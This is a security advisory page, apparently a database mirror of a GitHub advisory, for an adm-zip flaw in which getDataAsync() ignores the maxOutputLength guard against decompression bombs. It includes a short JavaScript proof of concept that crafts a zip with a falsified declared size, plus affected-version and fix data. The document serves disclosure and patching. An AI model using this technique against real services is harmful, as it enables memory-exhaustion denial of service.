GHSA-C6FG-446Q-CG94

Vulnerability from github – Published: 2026-09-29 23:10 – Updated: 2026-09-29 23:10
VLAI
Summary
adm-zip: getDataAsync() bypasses the maxOutputLength size guard enforced by the synchronous getData() path
Details

Summary

adm-zip enforces a maxOutputLength guard against decompression bombs on its synchronous getData() path, but the equivalent asynchronous getDataAsync() path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry's declared size. An application that checks an entry's declared size before deciding to process it, then reads the entry via getDataAsync() (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.

Details

  • methods/inflater.js:3-10 passes {maxOutputLength: expectedLength} to inflateRawSync, which Node enforces.
  • methods/inflater.js:12-31 passes the same option to createInflateRaw but never enforces it on the streaming path — it just accumulates every chunk and allocates a final Buffer of whatever size resulted.

PoC

const AdmZip = require('adm-zip');
const zip = new AdmZip();
zip.addFile('p', Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB
const raw = Buffer.from(zip.toBuffer());
// patch the local + central declared uncompressed size to 1 byte
raw.writeUInt32LE(1, localHeaderSizeOffset);
raw.writeUInt32LE(1, centralHeaderSizeOffset);
const entry = new AdmZip(raw).getEntry('p');

entry.getData();
// throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes

entry.getDataAsync((data, error) => { ... });
// returns the full 67,108,864-byte buffer, error is undefined

Impact

An application that validates a declared size before reading an entry, then uses the async API, gets no protection against a high-ratio DEFLATE payload. Repeated or larger requests could contribute to memory exhaustion.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "adm-zip"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T23:10:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nadm-zip enforces a `maxOutputLength` guard against decompression bombs on its synchronous `getData()` path, but the equivalent asynchronous `getDataAsync()` path does not enforce it \u2014 it accumulates and returns the entire decompressed output regardless of the entry\u0027s declared size. An application that checks an entry\u0027s declared size before deciding to process it, then reads the entry via `getDataAsync()` (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.\n\n\n### Details\n\n- `methods/inflater.js:3-10` passes `{maxOutputLength: expectedLength}` to `inflateRawSync`, which Node enforces.\n- `methods/inflater.js:12-31` passes the same option to `createInflateRaw` but never enforces it on the streaming path \u2014 it just accumulates every chunk and allocates a final Buffer of whatever size resulted.\n\n\n### PoC\n\n```js\nconst AdmZip = require(\u0027adm-zip\u0027);\nconst zip = new AdmZip();\nzip.addFile(\u0027p\u0027, Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB\nconst raw = Buffer.from(zip.toBuffer());\n// patch the local + central declared uncompressed size to 1 byte\nraw.writeUInt32LE(1, localHeaderSizeOffset);\nraw.writeUInt32LE(1, centralHeaderSizeOffset);\nconst entry = new AdmZip(raw).getEntry(\u0027p\u0027);\n\nentry.getData();\n// throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes\n\nentry.getDataAsync((data, error) =\u003e { ... });\n// returns the full 67,108,864-byte buffer, error is undefined\n```\n\n### Impact\nAn application that validates a declared size before reading an entry, then uses the async API, gets no protection against a high-ratio DEFLATE payload. Repeated or larger requests could contribute to memory exhaustion.",
  "id": "GHSA-c6fg-446q-cg94",
  "modified": "2026-09-29T23:10:32Z",
  "published": "2026-09-29T23:10:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-c6fg-446q-cg94"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cthackers/adm-zip"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/releases/tag/v0.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "adm-zip: getDataAsync() bypasses the maxOutputLength size guard enforced by the synchronous getData() path"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…